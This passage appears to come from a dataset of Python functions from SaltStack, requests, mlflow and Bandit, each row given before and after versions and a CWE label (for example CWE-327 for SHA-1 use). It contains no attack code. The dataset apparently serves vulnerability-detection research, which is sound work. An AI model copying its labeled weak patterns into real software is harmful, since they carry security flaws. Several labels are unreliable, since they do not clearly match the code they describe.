                root@saltmaster:~# salt ubuntu01 cmd.run 'apt-cache policy ffmpeg'
                ubuntu01:
                    ffmpeg:
                    Installed: (none)
                    Candidate: 7:0.10.11-1~precise1
                    Version table:
                        7:0.10.11-1~precise1 0
                            500 http://ppa.launchpad.net/jon-severinsson/ffmpeg/ubuntu/ precise/main amd64 Packages
                        4:0.8.10-0ubuntu0.12.04.1 0
                            500 http://us.archive.ubuntu.com/ubuntu/ precise-updates/main amd64 Packages
                            500 http://security.ubuntu.com/ubuntu/ precise-security/main amd64 Packages
                        4:0.8.1-0ubuntu1 0
                            500 http://us.archive.ubuntu.com/ubuntu/ precise/main amd64 Packages

            The release is located directly after the source's URL. The actual
            release name is the part before the slash, so to install version
            **4:0.8.10-0ubuntu0.12.04.1** either ``precise-updates`` or
            ``precise-security`` could be used for the ``fromrepo`` value.

    skip_verify
        Skip the GPG verification check for the package to be installed

    skip_suggestions
        Force strict package naming. Disables lookup of package alternatives.

        .. versionadded:: 2014.1.1

    version
        Install a specific version of a package. This option is ignored if
        either ""pkgs"" or ""sources"" is used. Currently, this option is supported
        for the following pkg providers: :mod:`apt <salt.modules.aptpkg>`,
        :mod:`ebuild <salt.modules.ebuild>`,
        :mod:`pacman <salt.modules.pacman>`,
        :mod:`yumpkg <salt.modules.yumpkg>`, and
        :mod:`zypper <salt.modules.zypper>`. The version number includes the
        release designation where applicable, to allow Salt to target a
        specific release of a given version. When in doubt, using the
        ``pkg.latest_version`` function for an uninstalled package will tell
        you the version available.

        .. code-block:: bash

            # salt myminion pkg.latest_version httpd
            myminion:
                2.2.15-30.el6.centos

        Also, while this function is not yet implemented for all pkg frontends,
        :mod:`pkg.list_repo_pkgs <salt.modules.yumpkg.list_repo_pkgs>` will
        show all versions available in the various repositories for a given
        package, irrespective of whether or not it is installed.

        .. code-block:: bash

            # salt myminion pkg.list_repo_pkgs httpd
            myminion:
                ----------
                base:
                    |_
                      ----------
                      httpd:
                          2.2.15-29.el6.centos
                updates:
                    |_
                      ----------
                      httpd:
                          2.2.15-30.el6.centos

        The version strings returned by either of these functions can be used
        as version specifiers in pkg states.

    refresh
        Update the repo database of available packages prior to installing the
        requested package.

    hold
        Force the package to be held at the current installed version.
        Currently works with YUM & APT based systems.

        .. versionadded:: Helium

    allow_updates
        Allow the package to be updated outside Salt's control (e.g. auto updates on Windows).
        This means a package on the Minion can have a newer version than the latest available
        in the repository without enforcing a re-installation of the package.

        .. versionadded:: Helium

    Example:

    .. code-block:: yaml

        httpd:
          pkg.installed:
            - fromrepo: mycustomrepo
            - skip_verify: True
            - skip_suggestions: True
            - version: 2.0.6~ubuntu3
            - refresh: True
            - hold: False

    pkg_verify
        .. versionadded:: Helium

        For requested packages that are already installed and would not be targeted for
        upgrade or downgrade, use pkg.verify to determine if any of the files installed
        by the package have been altered. If files have been altered, the reinstall
        option of pkg.install is used to force a reinstall.  Types to ignore can be
        passed to pkg.verify (see example below).  Currently, this option is supported
        for the following pkg providers: :mod:`yumpkg <salt.modules.yumpkg>`.

    Examples:

    .. code-block:: yaml

        httpd:
          pkg.installed:
            - version: 2.2.15-30.el6.centos
            - pkg_verify: True

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar: 1.2.3-4
              - baz
            - pkg_verify:
              - ignore_types: [config,doc]

    Multiple Package Installation Options: (not supported in Windows or pkgng)

    pkgs
        A list of packages to install from a software repository. All packages
        listed under ``pkgs`` will be installed via a single command.

    Example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar
              - baz
            - hold: True

    ``NOTE:`` For :mod:`apt <salt.modules.aptpkg>`,
    :mod:`ebuild <salt.modules.ebuild>`,
    :mod:`pacman <salt.modules.pacman>`, :mod:`yumpkg <salt.modules.yumpkg>`,
    and :mod:`zypper <salt.modules.zypper>`, version numbers can be specified
    in the ``pkgs`` argument. For example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar: 1.2.3-4
              - baz

    Additionally, :mod:`ebuild <salt.modules.ebuild>`,
    :mod:`pacman <salt.modules.pacman>` and
    :mod:`zypper <salt.modules.zypper>` support the ``<``, ``<=``, ``>=``, and
    ``>`` operators for more control over what versions will be installed. For
    example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo
              - bar: '>=1.2.3-4'
              - baz

    ``NOTE:`` When using comparison operators, the expression must be enclosed
    in quotes to avoid a YAML render error.

    With :mod:`ebuild <salt.modules.ebuild>` is also possible to specify a use
    flag list and/or if the given packages should be in package.accept_keywords
    file and/or the overlay from which you want the package to be installed.
    For example:

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - pkgs:
              - foo: '~'
              - bar: '~>=1.2:slot::overlay[use,-otheruse]'
              - baz

    names
        A list of packages to install from a software repository. Each package
        will be installed individually by the package manager.

        .. warning::

            Unlike ``pkgs``, the ``names`` parameter cannot specify a version.
            In addition, it makes a separate call to the package management
            frontend to install each package, whereas ``pkgs`` makes just a
            single call. It is therefore recommended to use ``pkgs`` instead of
            ``names`` to install multiple packages, both for the additional
            features and the performance improvement that it brings.

    sources
        A list of packages to install, along with the source URI or local path
        from which to install each package. In the example below, ``foo``,
        ``bar``, ``baz``, etc. refer to the name of the package, as it would
        appear in the output of the ``pkg.version`` or ``pkg.list_pkgs`` salt
        CLI commands.

    .. code-block:: yaml

        mypkgs:
          pkg.installed:
            - sources:
              - foo: salt://rpms/foo.rpm
              - bar: http://somesite.org/bar.rpm
              - baz: ftp://someothersite.org/baz.rpm
              - qux: /minion/path/to/qux.rpm
    '''
    kwargs['saltenv'] = __env__
    rtag = __gen_rtag()
    refresh = bool(
        salt.utils.is_true(refresh)
        or (os.path.isfile(rtag) and refresh is not False)
    )
    if type(pkg_verify) is not list:
        pkg_verify = pkg_verify is True
    if (pkg_verify or type(pkg_verify) is list) and 'pkg.verify' not in __salt__:
        return {'name': name,
                'changes': {},
                'result': False,
                'comment': 'pkg.verify not implemented'}

    if not isinstance(version, string_types) and version is not None:
        version = str(version)

    kwargs['allow_updates'] = allow_updates
    result = _find_install_targets(name, version, pkgs, sources,
                                   fromrepo=fromrepo,
                                   skip_suggestions=skip_suggestions,
                                   pkg_verify=pkg_verify,
                                   **kwargs)

    try:
        desired, targets, to_unpurge, to_reinstall, altered_files = result
    except ValueError:
        # _find_install_targets() found no targets or encountered an error

        # check that the hold function is available
        if 'pkg.hold' in __salt__:
            if 'hold' in kwargs:
                try:
                    if kwargs['hold']:
                        hold_ret = __salt__['pkg.hold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                    else:
                        hold_ret = __salt__['pkg.unhold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                except (CommandExecutionError, SaltInvocationError) as exc:
                    return {'name': name,
                            'changes': {},
                            'result': False,
                            'comment': exc.message}

                if 'result' in hold_ret and not hold_ret['result']:
                    return {'name': name,
                            'changes': {},
                            'result': False,
                            'comment': 'An error was encountered while '
                                       'holding/unholding package(s): {0}'
                                       .format(hold_ret['comment'])}
                else:
                    modified_hold = [hold_ret[x] for x in hold_ret
                                     if hold_ret[x]['changes']]
                    not_modified_hold = [hold_ret[x] for x in hold_ret
                                         if not hold_ret[x]['changes']
                                         and hold_ret[x]['result']]
                    failed_hold = [hold_ret[x] for x in hold_ret
                                   if not hold_ret[x]['result']]

                    if modified_hold:
                        for i in modified_hold:
                            result['comment'] += ' {0}'.format(i['comment'])
                            result['result'] = i['result']
                            result['changes'][i['name']] = i['changes']

                    if not_modified_hold:
                        for i in not_modified_hold:
                            result['comment'] += ' {0}'.format(i['comment'])
                            result['result'] = i['result']

                    if failed_hold:
                        for i in failed_hold:
                            result['comment'] += ' {0}'.format(i['comment'])
                            result['result'] = i['result']
        return result

    if to_unpurge and 'lowpkg.unpurge' not in __salt__:
        return {'name': name,
                'changes': {},
                'result': False,
                'comment': 'lowpkg.unpurge not implemented'}

    # Remove any targets not returned by _find_install_targets
    if pkgs:
        pkgs = [dict([(x, y)]) for x, y in targets.iteritems()]
        pkgs.extend([dict([(x, y)]) for x, y in to_reinstall.iteritems()])
    elif sources:
        oldsources = sources
        sources = [x for x in oldsources if x.keys()[0] in targets]
        sources.extend([x for x in oldsources if x.keys()[0] in to_reinstall])

    comment = []
    if __opts__['test']:
        if targets:
            if sources:
                summary = ', '.join(targets)
            else:
                summary = ', '.join([_get_desired_pkg(x, targets)
                                     for x in targets])
            comment.append('The following packages are set to be '
                           'installed/updated: {0}.'.format(summary))
        if to_unpurge:
            comment.append(
                'The following packages will have their selection status '
                'changed from \'purge\' to \'install\': {0}.'
                .format(', '.join(to_unpurge))
            )
        if to_reinstall:
            # Add a comment for each package in to_reinstall with its pkg.verify output
            for x in to_reinstall:
                if sources:
                    pkgstr = x
                else:
                    pkgstr = _get_desired_pkg(x, to_reinstall)
                comment.append('\nPackage {0} is set to be reinstalled because the '
                               'following files have been altered:'.format(pkgstr))
                comment.append('\n' + _nested_output(altered_files[x]))
        return {'name': name,
                'changes': {},
                'result': None,
                'comment': ' '.join(comment)}

    changes = {'installed': {}}
    modified_hold = None
    not_modified_hold = None
    failed_hold = None
    if targets or to_reinstall:
        reinstall = bool(to_reinstall)
        try:
            pkg_ret = __salt__['pkg.install'](name,
                                            refresh=refresh,
                                            version=version,
                                            fromrepo=fromrepo,
                                            skip_verify=skip_verify,
                                            pkgs=pkgs,
                                            sources=sources,
                                            reinstall=reinstall,
                                            **kwargs)

            if os.path.isfile(rtag) and refresh:
                os.remove(rtag)
        except CommandExecutionError as exc:
            return {'name': name,
                    'changes': {},
                    'result': False,
                    'comment': 'An error was encountered while installing '
                               'package(s): {0}'.format(exc)}

        if isinstance(pkg_ret, dict):
            changes['installed'].update(pkg_ret)
        elif isinstance(pkg_ret, string_types):
            comment.append(pkg_ret)

        if 'pkg.hold' in __salt__:
            if 'hold' in kwargs:
                try:
                    if kwargs['hold']:
                        hold_ret = __salt__['pkg.hold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                    else:
                        hold_ret = __salt__['pkg.unhold'](
                            name=name, pkgs=pkgs, sources=sources
                        )
                except (CommandExecutionError, SaltInvocationError) as exc:
                    comment.append(exc.message)
                    return {'name': name,
                            'changes': changes,
                            'result': False,
                            'comment': ' '.join(comment)}
                else:
                    if 'result' in hold_ret and not hold_ret['result']:
                        return {'name': name,
                                'changes': {},
                                'result': False,
                                'comment': 'An error was encountered while '
                                           'holding/unholding package(s): {0}'
                                           .format(hold_ret['comment'])}
                    else:
                        modified_hold = [hold_ret[x] for x in hold_ret
                                         if hold_ret[x]['changes']]
                        not_modified_hold = [hold_ret[x] for x in hold_ret
                                             if not hold_ret[x]['changes']
                                             and hold_ret[x]['result']]
                        failed_hold = [hold_ret[x] for x in hold_ret
                                       if not hold_ret[x]['result']]

    if to_unpurge:
        changes['purge_desired'] = __salt__['lowpkg.unpurge'](*to_unpurge)

    # Analyze pkg.install results for packages in targets
    if sources:
        modified = [x for x in changes['installed'].keys() if x in targets]
        not_modified = [x for x in desired if x not in targets and x not in to_reinstall]
        failed = [x for x in targets if x not in modified]
    else:
        ok, failed = \
            _verify_install(
                desired, __salt__['pkg.list_pkgs'](
                    versions_as_list=True, **kwargs
                )
            )
        modified = [x for x in ok if x in targets]
        not_modified = [x for x in ok if x not in targets and x not in to_reinstall]
        failed = [x for x in failed if x in targets]

    # If there was nothing unpurged, just set the changes dict to the contents
    # of changes['installed'].
    if not changes.get('purge_desired'):
        changes = changes['installed']

    if modified:
        if sources:
            summary = ', '.join(modified)
        else:
            summary = ', '.join([_get_desired_pkg(x, desired)
                                 for x in modified])
        if len(summary) < 20:
            comment.append('The following packages were installed/updated: '
                           '{0}.'.format(summary))
        else:
            comment.append(
                '{0} targeted package{1} {2} installed/updated.'.format(
                    len(modified),
                    's' if len(modified) > 1 else '',
                    'were' if len(modified) > 1 else 'was'
                )
            )

    if modified_hold:
        for i in modified_hold:
            comment.append(i['comment'])
            change_name = i['name']
            if len(changes[change_name]['new']) > 0:
                changes[change_name]['new'] += '\n'
            changes[change_name]['new'] += '{0}'.format(i['changes']['new'])
            if len(changes[change_name]['old']) > 0:
                changes[change_name]['old'] += '\n'
            changes[change_name]['old'] += '{0}'.format(i['changes']['old'])

    # Any requested packages that were not targetted for install or reinstall
    if not_modified:
        if sources:
            summary = ', '.join(not_modified)
        else:
            summary = ', '.join([_get_desired_pkg(x, desired)
                                 for x in not_modified])
        if len(not_modified) <= 20:
            comment.append('The following packages were already installed: '
                           '{0}.'.format(summary))
        else:
            comment.append(
                '{0} targeted package{1} {2} already installed.'.format(
                    len(not_modified),
                    's' if len(not_modified) > 1 else '',
                    'were' if len(not_modified) > 1 else 'was'
                )
            )

    if not_modified_hold:
        for i in not_modified_hold:
            comment.append(i['comment'])

    result = True

    if failed:
        if sources:
            summary = ', '.join(failed)
        else:
            summary = ', '.join([_get_desired_pkg(x, desired)
                                 for x in failed])
        comment.insert(0, 'The following packages failed to '
                          'install/update: {0}.'.format(summary))
        result = False

    if failed_hold:
        for i in failed_hold:
            comment.append(i['comment'])
        result = False

    # Get the ignore_types list if any from the pkg_verify argument
    if type(pkg_verify) is list and any(x.get('ignore_types') is not None
                                        for x in pkg_verify
                                        if type(x) is OrderedDict
                                        and 'ignore_types' in x):
        ignore_types = next(x.get('ignore_types')
                            for x in pkg_verify
                            if 'ignore_types' in x)
    else:
        ignore_types = []

    # Rerun pkg.verify for packages in to_reinstall to determine failed
    modified = []
    failed = []
    for x in to_reinstall:
        retval = __salt__['pkg.verify'](x, ignore_types=ignore_types)
        if retval:
            failed.append(x)
            altered_files[x] = retval
        else:
            modified.append(x)

    if modified:
        # Add a comment for each package in modified with its pkg.verify output
        for x in modified:
            if sources:
                pkgstr = x
            else:
                pkgstr = _get_desired_pkg(x, desired)
            comment.append('\nPackage {0} was reinstalled.  The following files '
                           'were remediated:'.format(pkgstr))
            comment.append(_nested_output(altered_files[x]))

    if failed:
        # Add a comment for each package in failed with its pkg.verify output
        for x in failed:
            if sources:
                pkgstr = x
            else:
                pkgstr = _get_desired_pkg(x, desired)
            comment.append(
                '\nReinstall was not successful for package {0}.  The following '
                'files could not be remediated:'.format(pkgstr)
            )
            comment.append(_nested_output(altered_files[x]))
        result = False

    return {'name': name,
            'changes': changes,
            'result': result,
            'comment': ' '.join(comment)}"
,UNKNOWN,UNKNOWN,salt/minion.py,1,"def __init__(self, opts, timeout=60, safe=True, loaded_base_name=None):  # pylint: disable=W0231
        '''
        Pass in the options dict
        '''
        self._running = None
        self.win_proc = []
        self.loaded_base_name = loaded_base_name

        # Warn if ZMQ < 3.2
        if HAS_ZMQ:
            try:
                zmq_version_info = zmq.zmq_version_info()
            except AttributeError:
                # PyZMQ <= 2.1.9 does not have zmq_version_info, fall back to
                # using zmq.zmq_version() and build a version info tuple.
                zmq_version_info = tuple(
                    [int(x) for x in zmq.zmq_version().split('.')]
                )
            if zmq_version_info < (3, 2):
                log.warning(
                    'You have a version of ZMQ less than ZMQ 3.2! There are '
                    'known connection keep-alive issues with ZMQ < 3.2 which '
                    'may result in loss of contact with minions. Please '
                    'upgrade your ZMQ!'
                )
        # Late setup the of the opts grains, so we can log from the grains
        # module
        opts['master'] = self.eval_master(opts,
                                          timeout,
                                          safe)

        fq_proxyname = 'proxy.'+opts['proxy']['proxytype']
        log.debug('------------------ proxy module --------')
        log.debug('{}'.format(opts['proxy']))
        self.proxymodule = salt.loader.proxy(opts, fq_proxyname)
        log.debug('------------------ proxy module init --------')
        log.debug('{}'.format(self.proxymodule.keys()))
        log.debug('{0}'.format(self.proxymodule))
        # log.debug('{0}'.format(self.proxymodule['init']))
        opts['proxymodule'] = self.proxymodule
        opts['grains'] = salt.loader.grains(opts)
        opts['id'] = opts['proxymodule']['junos.id'](opts)
        opts.update(resolve_dns(opts))
        self.opts = opts
        self.authenticate(timeout, safe)
        self.opts['pillar'] = salt.pillar.get_pillar(
            opts,
            opts['grains'],
            opts['id'],
            opts['environment'],
            pillarenv=opts.get('pillarenv'),
        ).compile_pillar()
        self.functions, self.returners, self.function_errors = self._load_modules()
        self.serial = salt.payload.Serial(self.opts)
        self.mod_opts = self._prep_mod_opts()
        self.matcher = Matcher(self.opts, self.functions)
        uid = salt.utils.get_uid(user=opts.get('user', None))
        self.proc_dir = get_proc_dir(opts['cachedir'], uid=uid)
        self.schedule = salt.utils.schedule.Schedule(
            self.opts,
            self.functions,
            self.returners)

        # add default scheduling jobs to the minions scheduler
        if 'mine.update' in self.functions:
            log.info('Added mine.update to scheduler')
            self.schedule.add_job({
                '__mine_interval':
                    {
                        'function': 'mine.update',
                        'minutes': opts['mine_interval'],
                        'jid_include': True,
                        'maxrunning': 2
                    }
            })

        self.grains_cache = self.opts['grains']

        # store your hexid to subscribe to zmq, hash since zmq filters are prefix
        # matches this way we can avoid collisions
        self.hexid = hashlib.sha1(self.opts['id']).hexdigest()",CWE-327,saltstack/salt,dd0b7c6937e026254a45d2453200869b0122ff9d,"def __init__(self, opts, timeout=60, safe=True, loaded_base_name=None):  # pylint: disable=W0231
        '''
        Pass in the options dict
        '''

        self._running = None
        self.win_proc = []
        self.loaded_base_name = loaded_base_name

        # Warn if ZMQ < 3.2
        if HAS_ZMQ:
            try:
                zmq_version_info = zmq.zmq_version_info()
            except AttributeError:
                # PyZMQ <= 2.1.9 does not have zmq_version_info, fall back to
                # using zmq.zmq_version() and build a version info tuple.
                zmq_version_info = tuple(
                    [int(x) for x in zmq.zmq_version().split('.')]
                )
            if zmq_version_info < (3, 2):
                log.warning(
                    'You have a version of ZMQ less than ZMQ 3.2! There are '
                    'known connection keep-alive issues with ZMQ < 3.2 which '
                    'may result in loss of contact with minions. Please '
                    'upgrade your ZMQ!'
                )
        # Late setup the of the opts grains, so we can log from the grains
        # module
        opts['grains'] = salt.loader.grains(opts)
        opts['master'] = self.eval_master(opts,
                                          timeout,
                                          safe)

        fq_proxyname = 'proxy.'+opts['proxy']['proxytype']
        log.debug('------------------ proxy module --------')
        log.debug('{}'.format(opts['proxy']))
        self.proxymodule = salt.loader.proxy(opts, fq_proxyname)
        log.debug('------------------ proxy module init --------')
        log.debug('{}'.format(self.proxymodule.keys()))
        log.debug('{0}'.format(self.proxymodule))
        # log.debug('{0}'.format(self.proxymodule['init']))
        opts['proxymodule'] = self.proxymodule
        opts['id'] = opts['proxymodule']['junos.id'](opts)
        opts.update(resolve_dns(opts))
        self.opts = opts
        self.authenticate(timeout, safe)
        self.opts['pillar'] = salt.pillar.get_pillar(
            opts,
            opts['grains'],
            opts['id'],
            opts['environment'],
            pillarenv=opts.get('pillarenv'),
        ).compile_pillar()
        self.functions, self.returners, self.function_errors = self._load_modules()
        self.serial = salt.payload.Serial(self.opts)
        self.mod_opts = self._prep_mod_opts()
        self.matcher = Matcher(self.opts, self.functions)
        uid = salt.utils.get_uid(user=opts.get('user', None))
        self.proc_dir = get_proc_dir(opts['cachedir'], uid=uid)
        self.schedule = salt.utils.schedule.Schedule(
            self.opts,
            self.functions,
            self.returners)

        # add default scheduling jobs to the minions scheduler
        if 'mine.update' in self.functions:
            log.info('Added mine.update to scheduler')
            self.schedule.add_job({
                '__mine_interval':
                    {
                        'function': 'mine.update',
                        'minutes': opts['mine_interval'],
                        'jid_include': True,
                        'maxrunning': 2
                    }
            })

        self.grains_cache = self.opts['grains']

        # store your hexid to subscribe to zmq, hash since zmq filters are prefix
        # matches this way we can avoid collisions
        self.hexid = hashlib.sha1(self.opts['id']).hexdigest()"
,UNKNOWN,UNKNOWN,tests/test_requests.py,1,"def test_whitespaces_are_removed_from_url(self):
        # Test for issue #3696
        request = requests.Request('GET', ' http://example.com').prepare()
        assert request.url == 'http://example.com/'",CWE-703,psf/requests,d1ca591c0fc0cfac634c74ed8b283c47ecffa9f8,"def test_whitespaces_are_removed_from_url(self):
        # Test for issue #3696
        request = requests.Request('GET', ' http://example.com').prepare()
        assert request.url == 'http://example.com/'"
,UNKNOWN,UNKNOWN,tests/utils/test_utils.py,1,"def test_inspect_original_var_name():
    from mlflow.utils import _inspect_original_var_name

    def f1(a1, expected_name):
        assert _inspect_original_var_name(a1, ""unknown"") == expected_name

    xyz1 = object()
    f1(xyz1, ""xyz1"")

    f1(str(xyz1), ""unknown"")

    f1(None, ""unknown"")

    def f2(b1, expected_name):
        f1(b1, expected_name)

    f2(xyz1, ""xyz1"")

    def f3(a1, *, b1, expected_a1_name, expected_b1_name):
        assert _inspect_original_var_name(a1, None) == expected_a1_name
        assert _inspect_original_var_name(b1, None) == expected_b1_name

    xyz2 = object()
    xyz3 = object()

    f3(*[xyz2], **{""b1"": xyz3, ""expected_a1_name"": ""xyz2"", ""expected_b1_name"": ""xyz3""})",CWE-703,mlflow/mlflow,331329f8fd04cddfed50ddb3b4449f7ffbce6d6b,"def test_inspect_original_var_name():
    from mlflow.utils import _inspect_original_var_name

    def f1(a1, expected_name):
        assert _inspect_original_var_name(a1, ""unknown"") == expected_name

    xyz1 = object()
    f1(xyz1, ""xyz1"")

    f1(str(xyz1), ""unknown"")

    f1(None, ""unknown"")

    def f2(b1, expected_name):
        f1(b1, expected_name)

    f2(xyz1, ""xyz1"")

    def f3(a1, *, b1, expected_a1_name, expected_b1_name):
        assert _inspect_original_var_name(a1, None) == expected_a1_name
        assert _inspect_original_var_name(b1, None) == expected_b1_name

    xyz2 = object()
    xyz3 = object()

    f3(*[xyz2], **{""b1"": xyz3, ""expected_a1_name"": ""xyz2"", ""expected_b1_name"": ""xyz3""})"
,UNKNOWN,UNKNOWN,salt/returners/mongo_return.py,1,,CWE-259,saltstack/salt,348f72e1f928c024e58cb3fc3c87597fa9bb415b,"def _get_options(ret):
    '''
    Get the monogo_return options from salt.
    '''
    attrs = {'host': 'host',
             'port': 'port',
             'db': 'db',
             'username': 'username',
             'password': 'password'}

    _options = salt.returners.get_returner_options(__virtualname__,
                                                   ret,
                                                   attrs,
                                                   __salt__=__salt__,
                                                   __opts__=__opts__)
    return _options"
functions_for_bandit_with_cwe.csv,UNKNOWN,UNKNOWN,bandit/formatters/html.py,0,"def report(manager, filename, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'filename' in HTML format

    :param manager: the bandit manager object
    :param filename: output file name
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = u""""""
<!DOCTYPE html>
<html>
<head>

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;

}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = u""""""
<body>
{metrics}
{skipped}

<br>
<span id='results'>
    {results}
</span>

</body>
</html>
""""""

    issue_block = u""""""
<span id='issue-{issue_no}'>
<div class='issue-block {issue_class}'>
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID: {test_id}: </b> {test_id}<br>
    <b>Severity: </b>{severity}<br />
    <b>Confidence: </b>{confidence}</br />
    <b>File: </b><a href='{path}' target='_blank'>{path}</a> <br />
{code}
{candidates}
</div>
</span>
""""""

    code_block = u""""""
<span id='code'>
<pre>
{code}
</pre>
</span>
""""""

    candidate_block = u""""""
<span id='candidates'>
<br>
<b>Candidates: </b>
{candidate_list}
</span>
""""""

    candidate_issue = u""""""
<span id='candidate'>
<div class='candidate-issues'>
<pre>{code}</pre>
</div>
</span>
""""""

    skipped_block = u""""""
<br>
<span id='skipped'>
<div class='bordered-box'>
<b>Skipped files:</b><br><br>
{files_list}
</div>
</span>
""""""

    metrics_block = u""""""
<span id='metrics'>
    <div class='metrics-box bordered-box'>
        <div class='metrics-title'>
            Metrics:<br>
        </div>
        Total lines of code: <span id='loc'>{loc}</span><br>
        Total lines skipped (#nosec): <span id='nosec'>{nosec}</span>
    </div>
</span>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = ''.join('%s - %s\n' % (fname, reason)
                          for fname, reason in manager.skipped)
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = ''

    # build the results string to insert in the report
    results_str = ''
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = ''
            code = code_block.format(code=issue.get_code(lines, True).
                                     strip('\n').lstrip(' '))
        else:
            candidates_str = ''
            code = ''
            for candidate in issues[issue]:
                candidate_code = (candidate.get_code(lines, True).strip('\n').
                                  lstrip(' '))
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        results_str += issue_block.format(issue_no=index,
                                          issue_class='issue-sev-{}'.
                                          format(issue.severity.lower()),
                                          test_name=issue.test,
                                          test_id=issue.test_id,
                                          test_text=issue.text,
                                          severity=issue.severity,
                                          confidence=issue.confidence,
                                          path=issue.fname, code=code,
                                          candidates=candidates)

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
        loc=manager.metrics.data['_totals']['loc'],
        nosec=manager.metrics.data['_totals']['nosec'])

    # build the report and output it
    report_contents = report_block.format(metrics=metrics_summary,
                                          skipped=skipped_text,
                                          results=results_str)

    with utils.output_file(filename, 'w') as fout:
        fout.write(header_block)
        fout.write(report_contents)

    if filename is not None:
        logger.info(""HTML output written to file: %s"" % filename)",UNKNOWN,PyCQA/bandit,27deb984408d6721c7ea2cc80e14dbbfec91a098,"def report(manager, filename, sev_level, conf_level, lines=-1):
    """"""Writes issues to 'filename' in HTML format

    :param manager: the bandit manager object
    :param filename: output file name
    :param sev_level: Filtering severity level
    :param conf_level: Filtering confidence level
    :param lines: Number of lines to report, -1 for all
    """"""

    header_block = """"""
<!DOCTYPE html>
<html>
<head>

<title>
    Bandit Report
</title>

<style>

html * {
    font-family: ""Arial"", sans-serif;
}

pre {
    font-family: ""Monaco"", monospace;
}

.bordered-box {
    border: 1px solid black;
    padding-top:.5em;
    padding-bottom:.5em;
    padding-left:1em;

}

.metrics-box {
    font-size: 1.1em;
    line-height: 130%;
}

.metrics-title {
    font-size: 1.5em;
    font-weight: 500;
    margin-bottom: .25em;
}

.issue-description {
    font-size: 1.3em;
    font-weight: 500;
}

.candidate-issues {
    margin-left: 2em;
    border-left: solid 1px; LightGray;
    padding-left: 5%;
    margin-top: .2em;
    margin-bottom: .2em;
}

.issue-block {
    border: 1px solid LightGray;
    padding-left: .5em;
    padding-top: .5em;
    padding-bottom: .5em;
    margin-bottom: .5em;
}

.issue-sev-high {
    background-color: Pink;
}

.issue-sev-medium {
    background-color: NavajoWhite;
}

.issue-sev-low {
    background-color: LightCyan;
}

</style>
</head>
""""""

    report_block = """"""
<body>
{metrics}
{skipped}

<br>
<span id='results'>
    {results}
</span>

</body>
</html>
""""""

    issue_block = """"""
<span id='issue-{issue_no}'>
<div class='issue-block {issue_class}'>
    <b>{test_name}: </b> {test_text}<br>
    <b>Test ID: {test_id}: </b> {test_id}<br>
    <b>Severity: </b>{severity}<br />
    <b>Confidence: </b>{confidence}</br />
    <b>File: </b><a href='{path}' target='_blank'>{path}</a> <br />
{code}
{candidates}
</div>
</span>
""""""

    code_block = """"""
<span id='code'>
<pre>
{code}
</pre>
</span>
""""""

    candidate_block = """"""
<span id='candidates'>
<br>
<b>Candidates: </b>
{candidate_list}
</span>
""""""

    candidate_issue = """"""
<span id='candidate'>
<div class='candidate-issues'>
<pre>{code}</pre>
</div>
</span>
""""""

    skipped_block = """"""
<br>
<span id='skipped'>
<div class='bordered-box'>
<b>Skipped files:</b><br><br>
{files_list}
</div>
</span>
""""""

    metrics_block = """"""
<span id='metrics'>
    <div class='metrics-box bordered-box'>
        <div class='metrics-title'>
            Metrics:<br>
        </div>
        Total lines of code: <span id='loc'>{loc}</span><br>
        Total lines skipped (#nosec): <span id='nosec'>{nosec}</span>
    </div>
</span>

""""""

    issues = manager.get_issue_list(sev_level=sev_level, conf_level=conf_level)

    baseline = not isinstance(issues, list)

    # build the skipped string to insert in the report
    skipped_str = ''.join('%s - %s\n' % (fname, reason)
                          for fname, reason in manager.skipped)
    if skipped_str:
        skipped_text = skipped_block.format(files_list=skipped_str)
    else:
        skipped_text = ''

    # build the results string to insert in the report
    results_str = ''
    for index, issue in enumerate(issues):
        if not baseline or len(issues[issue]) == 1:
            candidates = ''
            code = code_block.format(code=issue.get_code(lines, True).
                                     strip('\n').lstrip(' '))
        else:
            candidates_str = ''
            code = ''
            for candidate in issues[issue]:
                candidate_code = (candidate.get_code(lines, True).strip('\n').
                                  lstrip(' '))
                candidates_str += candidate_issue.format(code=candidate_code)

            candidates = candidate_block.format(candidate_list=candidates_str)

        results_str += issue_block.format(issue_no=index,
                                          issue_class='issue-sev-{}'.
                                          format(issue.severity.lower()),
                                          test_name=issue.test,
                                          test_id=issue.test_id,
                                          test_text=issue.text,
                                          severity=issue.severity,
                                          confidence=issue.confidence,
                                          path=issue.fname, code=code,
                                          candidates=candidates)

    # build the metrics string to insert in the report
    metrics_summary = metrics_block.format(
